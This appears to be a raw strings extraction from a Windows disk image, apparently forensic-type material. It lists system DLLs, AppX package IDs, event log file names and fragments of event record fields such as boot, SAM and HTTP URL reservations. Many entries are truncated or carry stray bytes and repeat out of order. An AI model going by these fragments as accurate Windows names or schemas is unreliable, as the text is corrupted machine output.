$DSC Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll BWindows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll WofCompressedData $DSC WINDOW~1.DLL Windows.System.Profile.RetailInfo.dll WofCompressedData $DSC Windows.System.Profile.RetailInfo.dll %Windows.System.Profile.RetailInfo.dll WofCompressedData $DSC Windows.System.Profile.SystemId.dll0 #Windows.System.Profile.SystemId.dll WofCompressedData $DSC Windows.System.UserProfile.DiagnosticsSettings.dll 2Windows.System.UserProfile.DiagnosticsSettings.dll WofCompressedData $DSC Windows.System.UserProfile.DiagnosticsSettings.dll 2Windows.System.UserProfile.DiagnosticsSettings.dll WofCompressedData $DSC Windows.UI.Accessibility.dll Windows.UI.Accessibility.dll WofCompressedData $DSC Windows.UI.Accessibility.dll Windows.UI.Accessibility.dll WofCompressedData $DSC Windows.UI.Core.TextInput.dll Windows.UI.Core.TextInput.dll WofCompressedData $DSC Windows.UI.FileExplorer.dll0 Windows.UI.FileExplorer.dll WofCompressedData $DSC Windows.UI.FileExplorer.dll0 Windows.UI.FileExplorer.dll WofCompressedData $DSC Windows.UI.Immersive.dll Windows.UI.Immersive.dll WofCompressedData $DSC Windows.UI.Immersive.dll Windows.UI.Immersive.dll WofCompressedData $DSC Windows.UI.Input.Inking.dll0 Windows.UI.Input.Inking.dll WofCompressedData $DSC Windows.UI.Input.Inking.dll0 Windows.UI.Input.Inking.dll WofCompressedData $DSC Windows.UI.Input.Inking.Analysis.dll $Windows.UI.Input.Inking.Analysis.dll WofCompressedData $DSC WofCompressedData $DSC XPSDOC~1.DLL $DSC XPSDOC~1.DLL XpsDocumentTargetPrint.dll $DSC $DSC Windows.UI.Xaml.Controls.dll Windows.UI.Xaml.Controls.dll WofCompressedData $DSC Windows.UI.Xaml.Controls.dll Windows.UI.Xaml.Controls.dll WofCompressedData $DSC Windows.UI.Xaml.InkControls.dll0 Windows.UI.Xaml.InkControls.dll WofCompressedData $DSC Windows.UI.Xaml.InkControls.dll0 Windows.UI.Xaml.InkControls.dll WofCompressedData $DSC Windows.UI.Xaml.Maps.dll Windows.UI.Xaml.Maps.dll WofCompressedData $DSC Windows.UI.Xaml.Maps.dll Windows.UI.Xaml.Maps.dll WofCompressedData $DSC Windows.UI.Xaml.Phone.dll Windows.UI.Xaml.Phone.dll WofCompressedData $DSC Windows.UI.Xaml.Phone.dll Windows.UI.Xaml.Phone.dll WofCompressedData $DSC Windows.UI.Xaml.Resources.19h1.dll "Windows.UI.Xaml.Resources.19h1.dll WofCompressedData $DSC Windows.UI.Xaml.Resources.21h1.dll "Windows.UI.Xaml.Resources.21h1.dll WofCompressedData $DSC dxgiadaptercache.exe WofCompressedData $DSC Microsoft.Windows.AI.Imaging.winmd "Microsoft.Windows.AI.Imaging.winmd WofCompressedData $DSC 7Square44x44Logo.targetsize-48_altform-unplated.png.DATA0 2Square44x44Logo.targetsize-48_altform-unplated.png Microsoft.Windows.AI.Imaging.ImageGenerator.winmd 1Microsoft.Windows.AI.Imaging.ImageGenerator.winmd WofCompressedData $DSC cht4vx64.PNF Microsoft.Windows.AI.MachineLearning.winmd *Microsoft.Windows.AI.MachineLearning.winmd WofCompressedData $DSC scesetup.log WDICON~1.002 WdiContextLog.etl.002 WIN://SYSAPPID MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy WIN://SYSAPPID Microsoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe WIN://PKG WIN://SYSAPPID Microsoft.WindowsAppRuntime.1.7_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe WIN://PKG WIN://SYSAPPID Microsoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsAppRuntime.1.7_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe WIN://PKG WIN://SYSAPPID Microsoft.UI.Xaml.2.8_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsAppRuntime.1.7_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.UI.Xaml.2.8_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsStore_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsStore_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe WIN://PKG WIN://SYSAPPID Microsoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.ZuneMusic_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.ScreenSketch_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.SecHealthUI_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.SecHealthUI_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.SecHealthUI_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.SecHealthUI_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.SecHealthUI_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.SecHealthUI_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.SecHealthUI_8wekyb3d8bbwe 0 `` p``` x` 0p8 SessionConfig $I300 sionConfig $I300 winevt $I300 Logs TraceFormat TRACEF~1 Logs $I300 $I30 $I30 Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtxv $I30 $I30 SYSTEM~1.EVT TraceFormat $I300 TraceFormat $I300 WinMetadata $I300 $I30 $I30 Windows.ApplicationModel.winmd Windows.Data.winmd Windows.Devices.winmd Windows.Foundation.winmd winrm $I300 0409 0409 $I300 winrm.ini zh-CN $I300 $I30 $I30 comctl32.dll.mui comdlg32.dll.mui fms.dll.mui mlang.dll.mui msimsg.dll.mui zh-TW $I300 $I30 $I30 comctl32.dll.mui comdlg32.dll.mui fms.dll.mui mlang.dll.mui msimsg.dll.mui SystemApps $I300 $I30 $I30 txyewy 9Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewyIC $I30 $I30 Microsoft.BioEnrollment_cw5n1h2txyewy (Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy $I300 $I30 $I30 Assets Microsoft.Web.WebView2.Core.dll pris Assets $I300 $I30 $I30 Logo.scale-100.png +PasswordExpiry.contrast-black_scale-100.png PasswordExpiry.scale-100.png pris $I300 resources.en-US.pri #Microsoft.UI.Xaml.CBS_8wekyb3d8bbwe $I300 $I30 $I30 AppxSignature.p7x logo.pngt.U Microsoft.UI.Xaml Microsoft.UI.Xaml.dll AppxMetadata $I300 CodeIntegrity.cat Microsoft.UI.Xaml $I300 Assets +Microsoft.Windows.AugLoop.CBS_8wekyb3d8bbwe $I300 $I30 $I30 AppxSignature.p7x.A logo.pngt.W Microsoft.Windows.AugLoop.dll resources.pri -Microsoft.Windows.CapturePicker_cw5n1h2txyewy $I300 $I30 $I30 AppxSignature.p7x CapturePicker.exe pris resources.pri pris $I300 resources.en-US.pri 3Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy $I300 core MicrosoftAccount.Extension.winmdll $I30 $I30 images $I300 $I30 $I30 !unifiedEnrollmentDiscoveryPage.js unifiedEnrollmentFinishedPage.js "unifiedEnrollmentOnPremAuthPage.js views $I300 $I30 $I30 unifiedEnrollmentDiscovery.html $unifiedEnrollmentDiscoveryError.html unifiedEnrollmentFinished.html 6Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy $I300 $I30 $I30 Experiences Images~ pris Ratings Experiences $I300 FeatureManagement PreInstalledApps SoftLanding SubscribedContent SUBSCR~1 Application.evtxZ APPLIC~1.EVT HardwareEvents.evtx HARDWA~1.EVTx Internet Explorer.evtx INTERN~1.EVTx Key Management Service.evtx KEYMAN~1.EVTx MI00FB~1.EVTndo MI01EB~1.EVTndo MI01EB~2.EVTndo MI025C~1.EVTndo MI033E~1.EVTndo MI03A7~1.EVTndo MI07E1~1.EVTndo MI08CB~1.EVTndo MI09DF~1.EVTndo MI1165~1.EVTndo MI145B~1.EVTndo MI167B~1.EVTndo MI1B80~1.EVTndo MI1C6C~1.EVTndo MI1CF7~1.EVTndo MI1E8D~1.EVTndo MI26A1~1.EVTndo MI2799~1.EVTndo MI287B~1.EVTndo MI291D~1.EVTndo MI2C28~1.EVTndo MI2E2E~1.EVTndo MI2EEA~1.EVTndo MI30D3~1.EVTndo MI33B6~1.EVTndo MI34FE~1.EVTndo MI36C5~1.EVTndo Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx Microsoft-Windows-Time-Service%4Operational.evtxati Microsoft-Windows-TWinUI%4Operational.evtx% Microsoft-Windows-TZSync%4Operational.evtx% Microsoft-Windows-UniversalTelemetryClient%4Operational.evtx Microsoft-Windows-User Device Registration%4Admin.evtxt Microsoft-Windows-User Profile Service%4Operational.evtx Microsoft-Windows-UserPnp%4ActionCenter.evtxx Microsoft-Windows-UserPnp%4DeviceInstall.evtx Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx Microsoft-Windows-VPN%4Operational.evtx Microsoft-Windows-Wcmsvc%4Operational.evtxt Microsoft-Windows-WebAuthN%4Operational.evtxevt Microsoft-Windows-WER-PayloadHealth%4Operational.evtxri Microsoft-Windows-WFP%4Operational.evtx Microsoft-Windows-Windows Defender%4Operational.evtxuri g%4ProxyConfigChanged.evtx Microsoft-Windows-WinRM%4Operational.evtxal Microsoft-Windows-WMI-Activity%4Operational.evtx MICROS~1.EVTx MICROS~2.EVTx MICROS~3.EVTx MICROS~4.EVTx MID067~1.EVTx WINDOW~1.EVT Microsoft-Windows-AAD%4Operational.evtx Microsoft-Windows-AppID%4Operational.evtx4P Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx Microsoft-Windows-Application-Experience%4Program-Compatibility-Troubleshooter.evtx Microsoft-Windows-Application-Experience%4Program-Inventory.evtx Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx Microsoft-Windows-Application-Experience%4Steps-Recorder.evtx Microsoft-Windows-AppLocker%4EXE and DLL.evtxx Microsoft-Windows-AppLocker%4MSI and Script.evtx Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx Microsoft-Windows-AppModel-Runtime%4Admin.evtx Microsoft-Windows-AppReadiness%4Admin.evtxe Microsoft-Windows-AppReadiness%4Operational.evtxnal Microsoft-Windows-AppXDeployment%4Operational.evtxa Microsoft-Windows-AppXDeployment-Server%4Operational.evtx erational.evtx Microsoft-Windows-CodeIntegrity%4Operational.evtx Microsoft-Windows-Containers-BindFlt%4Operational.evtx Microsoft-Windows-Containers-Wcifs%4Operational.evtx Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx erational.evtx Microsoft-Windows-Kernel-WHEA%4Operational.evtx Microsoft-Windows-Known Folders API Service.evtx Microsoft-Windows-LanguagePackSetup%4Operational.evtx Microsoft-Windows-LiveId%4Operational.evtx Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4Admin.evtx Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4Autopilot.evtx Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4Diagnostics.evtxe. Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4ManagementService.evtx Microsoft-Windows-MUI%4Admin.evtxl. Microsoft-Windows-MUI%4Operational.evtx Microsoft-Windows-NCSI%4Operational.evtxion Microsoft-Windows-NetworkProfile%4Operational.evtx Microsoft-Windows-Ntfs%4Operational.evtx Microsoft-Windows-Ntfs%4WHC.evtxal. Microsoft-Windows-Partition%4Diagnostic.evtx Microsoft-Windows-PCI%4Operational.evtx Microsoft-Windows-Perflib%4Operational.evtx Microsoft-Windows-PowerShell%4Admin.evtxl.e Microsoft-Windows-PowerShell%4Operational.evtxl Microsoft-Windows-Privacy-Auditing%4Operational.evtx Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx ,8io MI1165~1.EVTndo MI3A4A~1.EVTndo MI6493~1.EVTndo MI8248~1.EVTndo MIAEBD~1.EVTndo Microsoft-Client-Licensing-Platform%4Admin.evtx Microsoft-Windows-AppXDeploymentServer%4Operational.evtx Microsoft-Windows-Crypto-DPAPI%4Operational.evtx Microsoft-Windows-Diagnosis-PCW%4Operational.evtx Microsoft-Windows-Kernel-WHEA%4Errors.evtx Microsoft-Windows-Provisioning-Diagnostics-Provider%4Admin.evtx Microsoft-Windows-Security-SPP-UX-Notifications%4ActionCenter.evtx Microsoft-Windows-SMBServer%4Connectivity.evtx. Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtxv Microsoft-Windows-Windows Defender%4WHC.evtxnce MID1E7~1.EVTx MIFC66~1.EVTx MI3B13~1.EVTndo MI3F20~1.EVTndo MI4486~1.EVTndo MI4613~1.EVTndo MI4640~1.EVTndo MI4667~1.EVTndo MI46F4~1.EVTndo MI472A~1.EVTndo MI483C~1.EVTndo MI4AC4~1.EVTndo MI4B6B~1.EVTndo MI4BF3~1.EVTndo MI4C58~1.EVTndo MI4D4C~1.EVTndo MI4F2B~1.EVTndo MI54F1~1.EVTndo MI560D~1.EVTndo MI58DA~1.EVTndo MI5B8F~1.EVTndo MI5D1B~1.EVTndo MI5FD1~1.EVTndo MI5FF0~1.EVTndo MI6052~1.EVTndo MI617E~1.EVTndo MI6343~1.EVTndo MI641D~1.EVTndo MI7501~1.EVTndo MI755E~1.EVTndo MI7709~1.EVTndo MI7771~1.EVTndo MI7808~1.EVTndo MI7A67~1.EVTndo MI7C34~1.EVTndo MI7E7D~1.EVTndo MI8196~1.EVTndo %onP Microsoft-Windows-Crypto-NCrypt%4CertInUse.evtx Microsoft-Windows-Crypto-NCrypt%4KeyMgmt.evtxev Microsoft-Windows-Crypto-NCrypt%4Operational.evtxgn Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Autopilot.evtxt Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Enrollment.evtx Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Operational.evtx Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Sync.evtx Microsoft-Windows-DeviceSetupManager%4Admin.evtxl.e Microsoft-Windows-DeviceSetupManager%4Operational.evtx Microsoft-Windows-Dhcp-Client%4Admin.evtxl. Microsoft-Windows-Dhcpv6-Client%4Admin.evtx Microsoft-Windows-Diagnosis-DPS%4Operational.evtxna Microsoft-Windows-Kernel-Dump%4Operational.evtx Microsoft-Windows-Kernel-PnP%4Configuration.evtxana Microsoft-Windows-Kernel-PnP%4Device Management.evtx Microsoft-Windows-Kernel-PnP%4Driver Watchdog.evtx Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx MID3C2~1.EVTx MID52B~1.EVTx MID6AB~1.EVTx MID859~1.EVTx MID8B0~1.EVTx MIDA48~1.EVTx MIDBEC~1.EVTx MIDCC7~1.EVTx MIDE4D~1.EVTx MIE21D~1.EVTx MIE2F0~1.EVTx MIE386~1.EVTx MIE38D~1.EVTx MIE3AD~1.EVTx MIE45D~1.EVTx MIE68D~1.EVTx MIEA98~1.EVTx MIEBFF~1.EVTx MIED6D~1.EVTx MIEE23~1.EVTx MIEE35~1.EVTx MIF226~1.EVTx MIF8AA~1.EVTx s%4Operational.evtx PLUGIN~1.EVTx Security.evtx SECURI~1.EVT Setup.evtxx SETUP~1.EVT Synced-Passkey-Provider%4Operatonal.evtx SYNCED~1.EVT System.evtx SYSTEM~1.EVT Windows PowerShell.evtx WINDOW~1.EVT Microsoft-Windows-SMBServer%4Operational.evtxl. Microsoft-Windows-SMBServer%4Security.evtxo Microsoft-Windows-StateRepository%4Operational.evtx Microsoft-Windows-StateRepository%4Restricted.evtx Microsoft-Windows-Storage-Storport%4Health.evtx Microsoft-Windows-Storage-Storport%4Operational.evtxrSh Microsoft-Windows-StorageManagement%4Operational.evtxtx Microsoft-Windows-StorageSettings%4Diagnostic.evtx. Microsoft-Windows-StorageSpaces-Driver%4Diagnostic.evtx Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx Microsoft-Windows-StorageSpaces-ManagementAgent%4WHC.evtx Microsoft-Windows-StorageVolume%4Diagnostic.evtxx Microsoft-Windows-StorageVolume%4Operational.evtx Microsoft-Windows-Store%4Operational.evtxnc Microsoft-Windows-Storsvc%4Diagnostic.evtxc Microsoft-Windows-TaskScheduler%4Maintenance.evtx MI8270~1.EVTndo MI82D9~1.EVTndo MI82F4~1.EVTndo MI8607~1.EVTndo MI86D6~1.EVTndo MI88F2~1.EVTndo MI8BDF~1.EVTndo MI8CDD~1.EVTndo MI8CEE~1.EVTndo MI9407~1.EVTndo MI9465~1.EVTndo MI9492~1.EVTndo MI970A~1.EVTndo MI99E0~1.EVTndo MI9F85~1.EVTndo MIA24C~1.EVTndo MIA726~1.EVTndo MIA746~1.EVTndo MIA7BD~1.EVTndo MIA925~1.EVTndo MIA934~1.EVTndo MIB3AA~1.EVTndo MIB868~1.EVTndo MIB9D2~1.EVTndo MIBD88~1.EVTndo MIBE3D~1.EVTt-W MIC123~1.EVTt-W MIC1FC~1.EVTt-W MIC248~1.EVTt-W MIC5CB~1.EVTt-W MICA0E~1.EVTt-W MICA77~1.EVTt-W MICC17~1.EVTt-W MICEAE~1.EVT MICEDD~1.EVT Microsoft-Windows-Diagnosis-Scheduled%4Operational.evtx Microsoft-Windows-Diagnostics-Performance%4Operational.evtx Microsoft-Windows-FileHistory-Core%4WHC.evtxvtx Microsoft-Windows-GroupPolicy%4Operational.evtx Microsoft-Windows-HelloForBusiness%4Operational.evtx Microsoft-Windows-HotspotAuth%4Operational.evtx Microsoft-Windows-IKE%4Operational.evtx Microsoft-Windows-Kernel-Boot%4Operational.evtx Microsoft-Windows-Kernel-Cache%4Operational.evtxana Microsoft-Windows-Kernel-Dump%4Operational.evtx Microsoft-Windows-Kernel-EventTracing%4Admin.evtxna Microsoft-Windows-Kernel-PnP%4Configuration.evtxana Microsoft-Windows-Kernel-PnP%4Device Management.evtx Microsoft-Windows-Kernel-PnP%4Driver Watchdog.evtx Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx Microsoft-Windows-Provisioning-Diagnostics-Provider%4AutoPilot.evtx Microsoft-Windows-Provisioning-Diagnostics-Provider%4ManagementService.evtx Microsoft-Windows-PushNotification-Platform%4Admin.evtx Microsoft-Windows-PushNotification-Platform%4Operational.evtx Microsoft-Windows-ReadyBoost%4Operational.evtx Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx Microsoft-Windows-Resource-Exhaustion-Resolver%4Operational.evtx Microsoft-Windows-RestartManager%4Operational.evtx. Microsoft-Windows-Security-LessPrivilegedAppContainer%4Operational.evtx Microsoft-Windows-Security-Mitigations%4KernelMode.evtx Microsoft-Windows-Security-Mitigations%4UserMode.evtx Microsoft-Windows-Shell-Core%4AppDefaults.evtx Microsoft-Windows-Shell-Core%4LogonTasksChannel.evtx Microsoft-Windows-Shell-Core%4Operational.evtx Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx Microsoft-Windows-SmbClient%4Audit.evtx Microsoft-Windows-SmbClient%4Connectivity.evtx. Microsoft-Windows-SMBClient%4Operational.evtxl. Microsoft-Windows-SmbClient%4Security.evtxo Microsoft-Windows-SMBServer%4Audit.evtx Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx Microsoft-Windows-Windows Firewall With Advanced Security%4FirewallDiagnostics.evtx Microsoft-Windows-WindowsBackup%4ActionCenter.evtx. Microsoft-Windows-WindowsUpdateClient%4Operational.evtx Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx Microsoft-Windows-Winlogon%4Operational.evtx Microsoft-Windows-WinRM%4Operational.evtxal Microsoft-Windows-WMI-Activity%4Operational.evtx Microsoft-Windows-WorkFolders%4WHC.evtx MICROS~1.EVTx MICROS~2.EVTx MICROS~3.EVTx MICROS~4.EVTx MID067~1.EVTx Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx Microsoft-Windows-AppxPackaging%4Operational.evtx Microsoft-Windows-Audio%4CaptureMonitor.evtx Microsoft-Windows-Audio%4Operational.evtxat Microsoft-Windows-Audio%4PlaybackManager.evtxna Microsoft-Windows-Authentication User Interface%4Operational.evtx Microsoft-Windows-Biometrics%4Operational.evtxa Microsoft-Windows-Bits-Client%4Operational.evtx Microsoft-Windows-CloudFiles-Filter%4Operational.evtx Microsoft-Windows-CloudRestoreLauncher%4Operational.evtx Microsoft-Windows-CloudStore%4Initialization.evtx Microsoft-Windows-CloudStore%4Operational.evtxv Microsoft-Windows-CodeIntegrity%4Operational.evtx Microsoft-Windows-Containers-BindFlt%4Operational.evtx Microsoft-Windows-Containers-Wcifs%4Operational.evtx Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx MIFD4A~1.EVTx MIFDD4~1.EVTx MIFF83~1.EVTx MIFFFA~1.EVTey- Parameters.evtx PARAME~1.EVTey- Plugin-Passkey-Providers%4Operational.evtx PLUGIN~1.EVTx Security.evtx SECURI~1.EVT Setup.evtxx SETUP~1.EVT State.evtxs STATE~1.EVT Synced-Passkey-Provider%4Operatonal.evtx SYNCED~1.EVT System.evtx SYSTEM~1.EVT Windows PowerShell.evtx WINDOW~1.EVT MI6518~1.EVTndo MI65DA~1.EVTndo MI6A61~1.EVTndo MI6AFE~1.EVTndo MI6E07~1.EVTndo MI6E6E~1.EVTndo MI6E98~1.EVTndo MI6F01~1.EVTndo MI7257~1.EVTndo MI72BF~1.EVTndo MI7501~1.EVTndo MI755E~1.EVTndo MI76C5~1.EVTndo MI7709~1.EVTndo MI7771~1.EVTndo MI77BB~1.EVTndo MI7808~1.EVTndo MI7811~1.EVTndo MI7814~1.EVTndo MI7A67~1.EVTndo MI7C34~1.EVTndo MI7E7D~1.EVTndo MI8196~1.EVTndo MIB0BB~1.EVTndo MIB1B5~1.EVTndo MIB2AC~1.EVTndo MIB32D~1.EVTndo MIB3AA~1.EVTndo MIB62E~1.EVTndo MIB868~1.EVTndo MIB9D2~1.EVTndo MIBD88~1.EVTndo MIBE3D~1.EVTt-W MIBF8A~1.EVTt-W MIC123~1.EVTt-W MIC1FC~1.EVTt-W MIC248~1.EVTt-W MIC5CB~1.EVTt-W MICA0E~1.EVTt-W MICA77~1.EVTt-W MICC17~1.EVTt-W MICEAE~1.EVT MICEDD~1.EVT MICF33~1.EVT Microsoft-Windows-Shell-ConnectedAccountState%4ActionCenter.evtx Microsoft-Windows-Shell-Core%4ActionCenter.evtx Microsoft-Windows-Shell-Core%4AppDefaults.evtx Microsoft-Windows-Shell-Core%4LogonTasksChannel.evtx Microsoft-Windows-Shell-Core%4Operational.evtx Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx Microsoft-Windows-SmbClient%4Audit.evtx Microsoft-Windows-SmbClient%4Connectivity.evtx. Microsoft-Windows-SMBClient%4Operational.evtxl. Microsoft-Windows-SmbClient%4Security.evtxo Microsoft-Windows-SMBServer%4Audit.evtx MI145B~1.EVTndo MI167B~1.EVTndo MI1B68~1.EVTndo MI1B80~1.EVTndo MI1C6C~1.EVTndo MI1CF7~1.EVTndo MI1E8D~1.EVTndo MI26A1~1.EVTndo MI2799~1.EVTndo MI287B~1.EVTndo MI291D~1.EVTndo MI2C28~1.EVTndo MI2E2E~1.EVTndo MI2EEA~1.EVTndo MI30D3~1.EVTndo MI33B6~1.EVTndo MI34FE~1.EVTndo MI36C5~1.EVTndo Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name EventLog EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel System Computer WIN-FVPT9GE7NQP Security UserID EventData Data Binary WIN-FVPT9GE7NQP 10.00. 26200 Multiprocessor Free 5http://schemas.microsoft.com/win/2004/08/events/event Guid WIN-FVPT9GE7NQP Microsoft-Windows-Kernel-General System MajorVersion MinorVersion BuildVersion QfeVersion ServiceVersion BootMode StartTime Microsoft-Windows-Kernel-General System SystemTime LoaderTime InternalBootFlags HalRtcErrorCode RealTimeIsUniversal IsSoftBoot Success Phase Microsoft-Windows-Kernel-Boot System Status EnableDisableReason VsmPolicy Microsoft-Windows-Kernel-Boot System LastShutdownGood LastBootGood LastBootId BootStatusPolicy Microsoft-Windows-Kernel-Boot System Status FailureReason Microsoft-Windows-Kernel-Boot System EfiTimeZoneBias EfiDaylightFlags EfiTime Microsoft-Windows-Kernel-Boot System BootMenuPolicy Microsoft-Windows-Kernel-Boot System BootType LoadOptions Microsoft-Windows-Kernel-Boot System EntryCount Microsoft-Windows-Kernel-Boot System BitlockerUserInputTime Microsoft-Windows-Kernel-General System UpdateReason EnabledNew CountNew CountOld Microsoft-Windows-HAL System Microsoft-Windows-FilterManager System FinalStatus DeviceVersionMajor DeviceVersionMinor DeviceNameLength DeviceName DeviceTime FileInfo Microsoft-Windows-FilterManager System Microsoft-Windows-FilterManager System WdFilter Microsoft-Windows-Ntfs System DriveName DeviceName CorruptionActionState \Device\HarddiskVolume3 Microsoft-Windows-FilterManager System FileCrypt Microsoft-Windows-FilterManager System npsvctrig Microsoft-Windows-Kernel-Power System State Reason Microsoft-Windows-Kernel-Processor-Power System Group Number IdleStateCount IdleImplementation NominalFrequency MaximumPerformancePercent MinimumPerformancePercent MinimumThrottlePercent PerformanceImplementation Microsoft-Windows-Kernel-Processor-Power System Microsoft-Windows-Kernel-General System ExitReason CurrentBias CurrentTimeZoneID TimeZoneInfoCacheUpdated FirstRefresh Microsoft-Windows-Wininit System HRESULT NewLatchTimerNeeded *NewLatchTimerWaitingSystemUpdateCompletion #PreviousLatchTimerExistsButDisabled PolicyFileExists Microsoft-Windows-Wininit System HRESULT PreviousTimerExists PreviousTimerStartTime GracePeriod %AttemptedRecoveryEnforcementSucceeded Microsoft-Windows-Wininit System HRESULT NewTimerNeeded NewTimerWaitingUpdateCompletion PreviousTimerExistsButDisabled Microsoft-Windows-Wininit System Config IsTestConfig IsAutoEnabled Microsoft-Windows-Wininit System Level LsaSrv System HardwareChecks ADDomainJoin AADDomainJoin IsLicensed DomainController Microsoft-Windows-Directory-Services-SAM System %SAMMSG_RESTRICT_REMOTE_SAM_DEFAULT_SD Default SD String: O:SYG:SYD:(A;;RC;;;BA) Microsoft-Windows-Directory-Services-SAM System #SAMMSG_MINPWDLEN_SETTINGS_IN_EFFECT MinimumPasswordLength RelaxMinimumPasswordLengthLimits MinimumPasswordLengthAudit Microsoft-Windows-Directory-Services-SAM System 'SAMMSG_AUDIT_LEGACY_PWD_RPC_METHODS_OFF Microsoft-Windows-Ntfs System \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 Microsoft-Windows-SetupPlatform System Installation choice Host OS Major version Host OS Minor version Host OS Build number !Host OS Service pack major number !Host OS Service pack minor number Microsoft-Windows-Directory-Services-SAM System Microsoft-Windows-Kernel-General System HiveNameLength HiveName KeysUpdated DirtyPages \SystemRoot\System32\Config\BBI Microsoft-Windows-FilterManager System applockerfltr Microsoft-Windows-FilterManager System 5http://schemas.microsoft.com/win/2004/08/events/event Service Control Manager &{555908d1-a6d7-4695-8e1e-26931d2012f4} EventSourceName Service Control Manager System WIN-FVPT9GE7NQP param1 param2 netprofm%%21 netprofm Microsoft-Windows-FilterManager System wcifs Microsoft-Windows-FilterManager System luafv Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System UnionFS Microsoft-Windows-FilterManager System storqosflt Microsoft-Windows-FilterManager System UCPD Microsoft-Windows-FilterManager System bindflt Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-DHCPv6-Client System Microsoft-Windows-HttpService System ReserveStatus ProcessId ExecutablePath UserSid http://*:5357/ Microsoft-Windows-HttpService System http://+:80/Temporary_Listen_Addresses/ Microsoft-Windows-HttpService System https://*:5358/ Microsoft-Windows-HttpService System http://*:2869/ Microsoft-Windows-HttpService System https://+:5986/wsman/ Microsoft-Windows-HttpService System http://+:47001/wsman/ Microsoft-Windows-HttpService System http://+:5985/wsman/ Microsoft-Windows-HttpService System https://+:3392/rdp/ Microsoft-Windows-HttpService System https://+:443/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ Microsoft-Windows-HttpService System http://+:80/0131501b-d67f-491b-9a40-c4bf27bcb4d4/ Microsoft-Windows-HttpService System https://+:443/C574AC30-5794-4AEE-B1BB-6651C5315029/ Microsoft-Windows-HttpService System http://+:80/116B50EB-ECE2-41ac-8429-9F9E963361B7/ Microsoft-Windows-HttpService System http://+:10247/apps/ Microsoft-Windows-HttpService System https://+:10245/WMPNSSv4/ Microsoft-Windows-HttpService System http://+:10243/WMPNSSv4/ Microsoft-Windows-HttpService System 